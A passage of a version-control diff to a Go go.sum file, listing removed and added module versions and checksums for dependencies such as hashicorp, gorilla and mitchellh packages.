h1:URZXObp2BLlMjwu0O8g4y6VBneUj2bCHgnI8FfgZ51M= github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= -github.com/google/martian v2.1.0+incompatible h1:/CP5g8u/VJHijgedC/Legn3BAbAaWPgecwXBIDzw5no= +github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= +github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= +github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c h1:jWtZjFEUE/Bz0IeIhqCnyZ3HG6KRXSntXe4SjtuTH7c= -github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38 h1:yAJXTCF9TqKcTiHJAE8dj7HMvPfh66eeA2JYW7eFpSE= +github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= -github.com/googleapis/gax-go/v2 v2.0.5 h1:sjZBwGj9Jlw33ImPtvFviGYvseOtDM7hkSKB7+Tv3SM= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/gorilla/context v0.0.0-20160226214623-1ea25387ff6f h1:9oNbS1z4rVpbnkHBdPZU4jo9bSmrLpII768arSyMFgk= -github.com/gorilla/context v0.0.0-20160226214623-1ea25387ff6f/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg= -github.com/gorilla/mux v1.6.2 h1:Pgr17XVTNXAk3q/r4CpKzC5xBM/qW1uVLV+IhRZpIIk= -github.com/gorilla/mux v1.6.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= -github.com/graph-gophers/graphql-go v0.0.0-20191115155744-f33e81362277/go.mod h1:9CQHMSxwO4MprSdzoIEobiHpoLtHm77vfxsvsIN5Vuc= -github.com/hashicorp/go-cleanhttp v0.5.0 h1:wvCrVc9TjDls6+YGAF2hAifE1E5U1+b4tH6KdvN3Gig= -github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.1 h1:dH3aiDG9Jvb5r5+bYHsikaOUIpcM0xvgMXVoDkXMzJM= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-getter v1.4.0 h1:ENHNi8494porjD0ZhIrjlAHnveSFhY7hvOJrV/fsKkw= -github.com/hashicorp/go-getter v1.4.0/go.mod h1:7qxyCd8rBfcShwsvxgIguu4KbS3l8bUCwg2Umn7RjeY= -github.com/hashicorp/go-hclog v0.9.2 h1:CG6TE5H9/JXsFWJCfoIVpKFIkFe6ysEuHirp4DxCsHI= -github.com/hashicorp/go-hclog v0.9.2/go.mod h1:5CU+agLiy3J7N7QjHK5d05KxGsuXiQLrjA0H7acj2lQ= -github.com/hashicorp/go-retryablehttp v0.6.4 h1:BbgctKO892xEyOXnGiaAwIoSq1QZ/SS4AhjoAh9DnfY= -github.com/hashicorp/go-retryablehttp v0.6.4/go.mod h1:vAew36LZh98gCBJNLH42IQ1ER/9wtLZZ8meHqQvEYWY= +github.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8= +github.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0= +github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY= +github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ= +github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= +github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= +github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= +github.com/hashicorp/go-getter/v2 v2.2.3 h1:6CVzhT0KJQHqd9b0pK3xSP0CM/Cv+bVhk+jcaRJ2pGk= +github.com/hashicorp/go-getter/v2 v2.2.3/go.mod h1:hp5Yy0GMQvwWVUmwLs3ygivz1JSLI323hdIE9J9m7TY= +github.com/hashicorp/go-hclog v1.6.3 h1:Qr2kF+eVWjTiYmU7Y31tYlP1h0q/X3Nl3tPGdaB11/k= +github.com/hashicorp/go-hclog v1.6.3/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= +github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= +github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= +github.com/hashicorp/go-retryablehttp v0.7.7 h1:C8hUCYzor8PIfXHa4UrZkU4VvK8o9ISHxT2Q8+VepXU= +github.com/hashicorp/go-retryablehttp v0.7.7/go.mod h1:pkQpWZeYWskR+D1tR2O5OcBFOxfA7DoAO6xtkuQnHTk= github.com/hashicorp/go-safetemp v1.0.0 h1:2HR189eFNrjHQyENnQMMpCiBAsRxzbTMIgBhEyExpmo= github.com/hashicorp/go-safetemp v1.0.0/go.mod h1:oaerMy3BhqiTbVye6QuFhFtIceqFoDHxNAB65b+Rj1I= -github.com/hashicorp/go-version v1.1.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= -github.com/hashicorp/go-version v1.2.0 h1:3vNe/fWF5CBgRIguda1meWhsZHy3m8gCJ5wx+dIzX/E= -github.com/hashicorp/go-version v1.2.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= +github.com/hashicorp/go-version v1.7.0 h1:5tqGy27NaOTB8yJKUZELlFAS/LTKJkrmONwQKeRZfjY= +github.com/hashicorp/go-version v1.7.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.1 h1:0hERBMJE1eitiLkihrMvRVBYAkpHzc/J3QdDN+dAcgU= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/hcl v0.0.0-20170504190234-a4b07c25de5f/go.mod h1:oZtUIOe8dh44I2q6ScRibXws4Ajl+d+nod3AaR9vL5w= +github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= +github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= +github.com/hashicorp/hc-install v0.9.2 h1:v80EtNX4fCVHqzL9Lg/2xkp62bbvQMnvPQ0G+OmtO24= +github.com/hashicorp/hc-install v0.9.2/go.mod h1:XUqBQNnuT4RsxoxiM9ZaUk0NX8hi2h+Lb6/c0OZnC/I= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= -github.com/hashicorp/hcl/v2 v2.0.0 h1:efQznTz+ydmQXq3BOnRa3AXzvCeTq1P4dKj/z5GLlY8= -github.com/hashicorp/hcl/v2 v2.0.0/go.mod h1:oVVDG71tEinNGYCxinCYadcmKU9bglqW9pV3txagJ90= -github.com/hashicorp/hcl/v2 v2.6.0 h1:3krZOfGY6SziUXa6H9PJU6TyohHn7I+ARYnhbeNBz+o= -github.com/hashicorp/hcl/v2 v2.6.0/go.mod h1:bQTN5mpo+jewjJgh8jr0JUguIi7qPHUF6yIfAEN3jqY= -github.com/hashicorp/terraform-config-inspect v0.0.0-20200806211835-c481b8bfa41e h1:wIsEsIITggCC4FTO9PisDjy561UU7OPL6uTu7tnkHH8= -github.com/hashicorp/terraform-config-inspect v0.0.0-20200806211835-c481b8bfa41e/go.mod h1:Z0Nnk4+3Cy89smEbrq+sl1bxc9198gIP4I7wcQF6Kqs= -github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI= -github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= -github.com/huandu/xstrings v1.0.0 h1:pO2K/gKgKaat5LdpAhxhluX2GPQMaI3W5FUz/I/UnWk= -github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= -github.com/imdario/mergo v0.3.5 h1:JboBksRwiiAJWvIYJVo46AfV+IAIKZpfrSzVKj42R4Q= -github.com/imdario/mergo v0.3.5/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= -github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= -github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= -github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= -github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af h1:pmfjZENx5imkbgOkpRUYLnmbU7UEFbjtDA2hxJ1ichM= -github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= +github.com/hashicorp/hcl/v2 v2.23.0 h1:Fphj1/gCylPxHutVSEOf2fBOh1VE4AuLV7+kbJf3qos= +github.com/hashicorp/hcl/v2 v2.23.0/go.mod h1:62ZYHrXgPoX8xBnzl8QzbWq4dyDsDtfCRgIq1rbJEvA= +github.com/hashicorp/terraform-config-inspect v0.0.0-20250401063509-d2d12f9a63bb h1:9TvrRaIIL7QYPk6i1TVKZvRuELwPNR7xVmBuYh52HUY= +github.com/hashicorp/terraform-config-inspect v0.0.0-20250401063509-d2d12f9a63bb/go.mod h1:Gz/z9Hbn+4KSp8A2FBtNszfLSdT2Tn/uAKGuVqqWmDI= +github.com/huandu/xstrings v1.5.0 h1:2ag3IFq9ZDANvthTwTiqSSZLjDc+BedvHPAp5tJy2TI= +github.com/huandu/xstrings v1.5.0/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= +github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= +github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 h1:BQSFePA1RWJOlocH6Fxy8MmwDt+yVQYULKfN0RoTN8A= +github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo= +github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI= +github.com/jpillora/backoff v1.0.0 h1:uvFg412JmmHBHw7iwprIxkPMI+sGQ4kzOWsMeHnm2EA= +github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= +github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= +github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= -github.com/konsorten/go-windows-terminal-sequences v1.0.1 h1:mweAR1A6xJ3oS2pRaGiHgQ4OO8tzTaLawm8vnODuwDk= +github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= +github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= +github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= +github.com/kevinburke/ssh_config v1.2.0 h1:x584FjTGwHzMwvHx18PXxbBVzfnxogHaAReU4gf13a4= +github.com/kevinburke/ssh_config v1.2.0/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/klauspost/compress v1.17.2 h1:RlWWUY/Dr4fL8qk9YG7DTZ7PDgME2V4csBXA8L/ixi4= +github.com/klauspost/compress v1.17.2/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= +github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= -github.com/kylelemons/godebug v0.0.0-20170820004349-d65d576e9348/go.mod h1:B69LEHPfb2qLo0BaaOLcbitczOKLWTsrBG9LczfCD4k= -github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= -github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= -github.com/magiconair/properties v1.7.3 h1:6AOjgCKyZFMG/1yfReDPDz3CJZPxnYk7DGmj2HtyF24= -github.com/magiconair/properties v1.7.3/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= -github.com/mattn/go-colorable v0.0.9 h1:UVL0vNpWh04HeJXV0KLcaT7r06gOH2l4OW6ddYRUIY4= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= -github.com/mattn/go-isatty v0.0.4 h1:bnP0vzxcAdeI1zdubAl5PjU6zsERjGZb7raWodagDYs= -github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= -github.com/mattn/go-runewidth v0.0.4/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= -github.com/mcdafydd/go-azuredevops v0.11.1 h1:NO4wlkyFpdxqZZzNzn5m3fJc4box0jnkC8LBhAaPXeA= -github.com/mcdafydd/go-azuredevops v0.11.1/go.mod h1:B4UDyn7WEj1/97f45j3VnzEfkWKe05+/dCcAPdOET4A= -github.com/microcosm-cc/bluemonday v1.0.1 h1:SIYunPjnlXcW+gVfvm0IlSeR5U3WZUOLfVmqg85Go44= -github.com/microcosm-cc/bluemonday v1.0.1/go.mod h1:hsXNsILzKxV+sX77C5b8FSuKF00vh2OMYv+xgHpAMF4= -github.com/mitchellh/colorstring v0.0.0-20150917214807-8631ce90f286 h1:KHyL+3mQOF9sPfs26lsefckcFNDcIZtiACQiECzIUkw= -github.com/mitchellh/colorstring v0.0.0-20150917214807-8631ce90f286/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= -github.com/mitchellh/go-homedir v1.0.0 h1:vKb8ShqSby24Yrqr/yDYkuFz8d0WUjys40rvnGC8aR0= -github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-testing-interface v1.0.0 h1:fzU/JVNcaqHQEcVFAKeR41fkiLdIPrefOvVG1VZ96U0= -github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= -github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= -github.com/mitchellh/go-wordwrap v1.0.0 h1:6GlHJ/LTGMrIJbwgdqdl2eEH8o+Exx/0m8ir9Gns0u4= -github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= -github.com/mitchellh/mapstructure v0.0.0-20170523030023-d0303fe80992 h1:W7VHAEVflA5/eTyRvQ53Lz5j8bhRd1myHZlI/IZFvbU= -github.com/mitchellh/mapstructure v0.0.0-20170523030023-d0303fe80992/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/mohae/deepcopy v0.0.0-20170603005431-491d3605edfb h1:e+l77LJOEqXTIQihQJVkA6ZxPOUmfPM5e4H7rcpgtSk= -github.com/mohae/deepcopy v0.0.0-20170603005431-491d3605edfb/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8= -github.com/nlopes/slack v0.1.0 h1:YnVhdQvWT/m0TDh3VNpSoCBDlD7Y4pz1qUqb/NrNyUs= -github.com/nlopes/slack v0.1.0/go.mod h1:jVI4BBK3lSktibKahxBF74txcK2vyvkza1z/+rRnVAM= -github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo v1.9.0 h1:SZjF721BByVj8QH636/8S2DnX4n0Re3SteMmw3N+tzc= -github.com/onsi/ginkgo v1.9.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/gomega v1.4.3 h1:RE1xgDvH7imwFD45h+u2SgIfERHlS2yNG4DObb5BSKU= -github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= -github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/pelletier/go-buffruneio v0.2.0 h1:U4t4R6YkofJ5xHm3dJzuRpPZ0mr5MMCoAWooScCR7aA= -github.com/pelletier/go-buffruneio v0.2.0/go.mod h1:JkE26KsDizTr40EUHkXVtNPvgGtbSNq5BcowyYOWdKo= -github.com/pelletier/go-toml v1.0.0 h1:QFDlmAXZrfPXEF6c9+15fMqhQIS3O0pxszhnk936vg4= -github.com/pelletier/go-toml v1.0.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= -github.com/petergtz/pegomock v2.7.0+incompatible h1:42rJ5wIOBAg9OGdkLaPW9PlF/RtqDc5aGl6PcTCXl3o= -github.com/petergtz/pegomock v2.7.0+incompatible/go.mod h1:nuBLWZpVyv/fLo56qTwt/AUau7jgouO1h7bEvZCq82o= -github.com/pkg/errors v0.8.0 h1:WdK/asTD0HN+q6hsWO3/vpuAkAr+tw6aNJNDFFf0+qw= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= +github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/matttproud/golang_protobuf_extensions v1.0.4 h1:mmDVorXM7PCGKw94cs5zkfA9PSy5pEvNWRP0ET0TIVo= +github.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4= +github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk= +github.com/microcosm-cc/bluemonday v1.0.27/go.mod h1:jFi9vgW+H7c3V0lb6nR74Ib/DIB5OBs92Dimizgw2cA= +github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= +github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= +github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= +github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= +github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= +github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= +github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU= +github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8= +github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= +github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= +github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= +github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= +github.com/moby/patternmatcher v0.6.0 h1:GmP9lR19aU5GqSSFko+5pRqHi+Ohk1O69aFiKkVGiPk= +github.com/moby/patternmatcher v0.6.0/go.mod h1:hDPoyOpDY7OrrMDLaYoY3hf52gNCR/YOUYxkhApJIxc= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.1/go.mod 